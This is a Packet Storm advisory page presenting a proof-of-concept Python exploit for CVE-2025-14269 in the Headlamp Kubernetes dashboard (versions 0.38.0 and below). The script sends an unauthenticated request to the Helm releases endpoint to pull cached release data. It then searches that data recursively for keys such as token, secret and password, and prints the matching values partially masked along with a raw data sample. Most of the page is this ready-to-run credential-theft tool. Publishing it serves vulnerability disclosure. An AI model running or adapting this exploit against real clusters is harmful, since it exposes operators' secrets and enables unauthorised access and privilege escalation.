PACKETSTORM

📄 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210

Description

Proof of concept exploit for a flaw in Headlamp Kubernetes dashboard versions 0.38.0 and below that allows unauthenticated users to access sensitive Helm release data, including secrets, tokens, and passwords, due to improper server-side caching...
Visit Original Source

Basic Information

ID PACKETSTORM:213210
Published Dec 22, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Headlamp 0.38.0 Unauthenticated Cached Credentials Access in Helm UI |
| # Author : [email protected] |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://headlamp.dev |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213051/ & CVE-2025-14269

[+] Summary : a significant security vulnerability in the in-cluster version of the Headlamp Kubernetes dashboard (versions ≤ v0.38.0).
The flaw allows unauthenticated users to access sensitive Helm release data, including secrets, tokens, and passwords, due to improper server-side caching.
Core Mechanism: When Helm functionality is enabled (config.enableHelm: true),
the server caches the API response from the /clusters/main/helm/releases/list endpoint after an authorized user first visits the Helm page.
Subsequent unauthenticated requests to the same endpoint receive this cached data without authorization checks.

[+] Impact : This vulnerability can lead to credential leakage and potential privilege escalation, granting unauthorized users access to sensitive cluster or registry credentials.

[+] POC :

#!/usr/bin/env python3
"""
Proof of Concept (PoC) for CVE-2025-14269
Vulnerability: Unauthenticated cached credentials access in Headlamp's Helm UI.
Author: indoushka
Usage: python3 poc.py <TARGET_URL>
"""

import sys
import requests
import json
import argparse
from urllib.parse import urljoin

# تعطيل تحذيرات SSL لأغراض الاختبار (يمكن أن يكون الهدف يستخدم شهادة ذاتية التوقيع)
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def exploit_target(target_url):
"""
يرسل طلبًا غير مصرح به إلى مسار Helm الخاص بـ Headlamp ويحاول استخراج البيانات الحساسة.
"""
# نقطة النهاية المستهدفة
helm_endpoint = "/clusters/main/helm/releases/list"
full_url = urljoin(target_url, helm_endpoint)

print(f"[*] استهداف: {target_url}")
print(f"[*] اختبار الثغرة في: {full_url}")
print("[*] إرسال طلب GET غير مصادق...")

try:
# 1. إرسال الطلب بدون مصادقة أو ملفات تعريف ارتباط
response = requests.get(full_url, verify=False, timeout=10)

# 2. التحقق من نجاح الاستجابة
if response.status_code == 200:
print(f"[+] نجاح! استجابة تم الحصول عليها (الحالة: {response.status_code})")

# 3. محاولة تحليل الاستجابة كـ JSON (التنسيق المتوقع للبيانات الحساسة)
try:
data = response.json()
print("[+] تم تحليل الاستجابة كـ JSON بنجاح.")
print("[+] فحص البيانات المسترجعة للعثور على معلومات حساسة...")

# 4. دالة مساعدة متكررة للبحث عن قيم تبدو حساسة (مفاتيح، رموز، كلمات مرور)
def find_sensitive(data, path=""):
findings = []
if isinstance(data, dict):
for key, value in data.items():
new_path = f"{path}.{key}" if path else key
# البحث عن مفاتيح باسماء تدل على حساسيتها
sensitive_keywords = ['token', 'secret', 'password', 'key', 'credential', 'auth']
if any(kw in key.lower() for kw in sensitive_keywords):
findings.append((new_path, value))
findings.extend(find_sensitive(value, new_path))
elif isinstance(data, list):
for i, item in enumerate(data):
new_path = f"{path}[{i}]"
findings.extend(find_sensitive(item, new_path))
return findings

sensitive_items = find_sensitive(data)
if sensitive_items:
print("[!] *** تم العثور على معلومات حساسة محتملة في الذاكرة المؤقتة! ***")
for path, value in sensitive_items:
# إخفاء القيمة جزئيًا للأمان
if value and isinstance(value, str):
masked = value[:4] + "****" + value[-4:] if len(value) > 8 else "****"
else:
masked = "****"
print(f" المسار: {path}")
print(f" القيمة (مخفية): {masked}\n")
else:
print("[-] لم يتم العثور على معلومات حساسة واضحة في بيانات JSON.")

# 5. عرض عينة من البيانات لفحصها يدويًا
print("\n[*] عينة من البيانات الخام (أول 500 حرف):")
sample = json.dumps(data, indent=2)[:500]
print(sample + ("..." if len(json.dumps(data)) > 500 else ""))

except json.JSONDecodeError:
print("[!] الاستجابة ليست بصيغة JSON. قد تكون البيانات في تنسيق آخر أو قد يكون المسار غير صحيح.")
print("[*] عرض أول 200 حرف من الاستجابة الخام:")
print(response.text[:200])

elif response.status_code == 403 or response.status_code == 401:
print(f"[-] تم رفض الوصول (الحالة: {response.status_code}). قد يكون التطبيق غير معرض أو قد تم مسح ذاكرة التخزين المؤقت.")
else:
print(f"[-] استجابة غير متوقعة (الحالة: {response.status_code})")

except requests.exceptions.ConnectionError:
print(f"[-] فشل في الاتصال بـ {target_url}. تحقق من العنوان أو أن الخادم يعمل.")
except requests.exceptions.Timeout:
print(f"[-] انتهت مهلة الطلب. قد يكون الخادم بطيئًا أو غير متاح.")
except Exception as e:
print(f"[-] حدث خطأ غير متوقع: {e}")

if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC للثغرة CVE-2025-14269 في Headlamp.")
parser.add_argument("target_url", help="الرابط الأساسي لتطبيق Headlamp (مثال: http://headlamp.example.com:4466)")
args = parser.parse_args()

exploit_target(args.target_url)

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.